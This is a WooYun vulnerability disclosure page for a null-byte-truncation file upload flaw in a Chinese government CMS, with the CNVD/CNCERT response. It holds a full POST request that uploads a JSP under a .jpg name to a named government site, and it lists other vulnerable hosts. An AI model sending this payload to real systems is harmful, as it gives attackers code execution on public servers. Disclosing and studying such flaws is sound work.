当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-046091

漏洞标题：某政务类CMS任意文件上传第二发（还是通用）

相关厂商：cncert国家互联网应急中心

漏洞作者： wefgod

提交时间：2013-12-16 11:52

修复时间：2014-03-16 11:53

公开时间：2014-03-16 11:53

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-16： 细节已通知厂商并且等待厂商处理中
2013-12-20： 厂商已经确认，细节仅向厂商公开
2013-12-23： 细节向第三方安全合作伙伴开放
2014-02-13： 细节向核心白帽子及相关领域专家公开
2014-02-23： 细节向普通白帽子公开
2014-03-05： 细节向实习白帽子公开
2014-03-16： 细节向公众公开

简要描述：

第一发：http://www.wooyun.org/bugs/wooyun-2013-046022

详细说明：

某一个action有点问题，可以用00截断截断文件名，然后……
http://www.zjna.gov.cn/ecoi/upload.jsp
post数据到http://www.zjna.gov.cn/ecoi/lee/upload.action

漏洞证明：

image008.png


给一个POST的数据包的例子：

POST http://www.zjna.gov.cn/ecoi/lee/upload.action HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.zjna.gov.cn/ecoi/upload.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: multipart/form-data; boundary=---------------------------7dd2153230498
Accept-Encoding: gzip, deflate
Host: www.zjna.gov.cn
Content-Length: 6672
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=FCEF276BACDC937F1B084778CF26708C; IPUSH_TS=1387091997
 
-----------------------------7dd2153230498
Content-Disposition: form-data; name="title"
 
a
-----------------------------7dd2153230498
Content-Disposition: form-data; name="upload"; filename="div.jsp(00截断！).jpg"
Content-Type: image/gif


image010.png


看属性发现回显的是没截断的文件名：

image011.png


但是实际上已经截断上传成功：

image012.png


其它：
http://61.132.27.71/ecoi/upload.jsp

image014.png


image015.png


还有：
http://218.90.166.129:8087/ecoi/upload.jsp
http://gcjs.danyang.gov.cn/ecoi/upload.jsp
之类的&……

修复方案：

上传白名单

版权声明：转载请注明来源 wefgod@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2013-12-20 09:49

厂商回复：

CNVD确认并复现所述情况，并在多个实例上确认通用性（主要用于江苏省相关部门），已经转由CNCERT下发给江苏分中心，由其后续联系网站管理单位处置，并建议网站管理单位联系软件开发厂商处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-16 19:27 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    赞

  2. 2013-12-20 10:10 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    核心 你好

  3. 2013-12-20 10:23 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @在路上 别黑哦